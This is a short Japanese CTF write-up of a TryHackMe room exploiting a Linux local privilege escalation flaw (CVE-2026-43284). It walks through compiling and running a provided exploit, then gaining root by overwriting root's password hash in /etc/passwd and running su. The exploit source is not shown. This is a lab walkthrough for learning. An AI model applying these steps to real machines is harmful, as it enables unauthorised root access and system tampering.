
TryHackMe Dirty Frag (CVE-2026-43284) — Linux LPE writeup
ルーム: CVE-2026-43284: Dirty Frag カテゴリ: Linux 権限昇格 作成者: (マイページ)
Dirty Frag は、CVE-2026-43284 を中心に構築された、連鎖型 Linux ローカル権限昇格 (LPE) ルームです。目標は、提供された概念実証エクスプロイトを利用して、非特権シェルから root になることです。
作業ディレクトリを一覧表示すると、エクスプロイト用に提供されたファイルが確認できます:
$ ls
README.txt
exp
exp.c
exp.c — エクスプロイトのソースコードexp — プリコンパイル済みバイナリ(ターゲット環境と一致しない場合があります)README.txt — エクスプロイトに同梱されている使用上の注意提供された exp バイナリはターゲットの正確な環境と互換性がない可能性があるため、ソースから再ビルドする方が安全です:
$ gcc -O0 -Wall -o exp exp.c -lutil
-O0 はコンパイラの最適化を無効にし、動作を予測可能にしてソースと一致させます-Wall はコンパイラの警告を有効にし、ビルドの健全性チェックに役立ちます-lutil は libutil をリンクします — 疑似端末 (pty) 関数を使用するコードで一般的に必要です$ ./exp
コンパイルしたエクスプロイトを実行すると、基盤となる欠陥が引き起こされ、通常は非特権ユーザーにとって読み取り専用であるファイル(この場合は /etc/passwd)への書き込みアクセスが得られます。
書き込みアクセスを取得したら、root の新しいパスワードハッシュを生成します:
$ openssl passwd -1 root
$1$igIXG8so$6K9OaEbAaj.qaknYx9ST..
このハッシュは、/etc/passwd 内の root の既存のハッシュフィールドの代わりに書き込まれます:
$ nano /etc/passwd
root のパスワードが判明したので、ユーザーを切り替えるのは簡単です:
$ su root
$ cat /root/flag.txt
THM{REDACTED}
このライトアップは、教育目的で完了した TryHackMe ルームを文書化したものです。ターゲット環境は、TryHackMe が提供する意図的に脆弱なマシンです。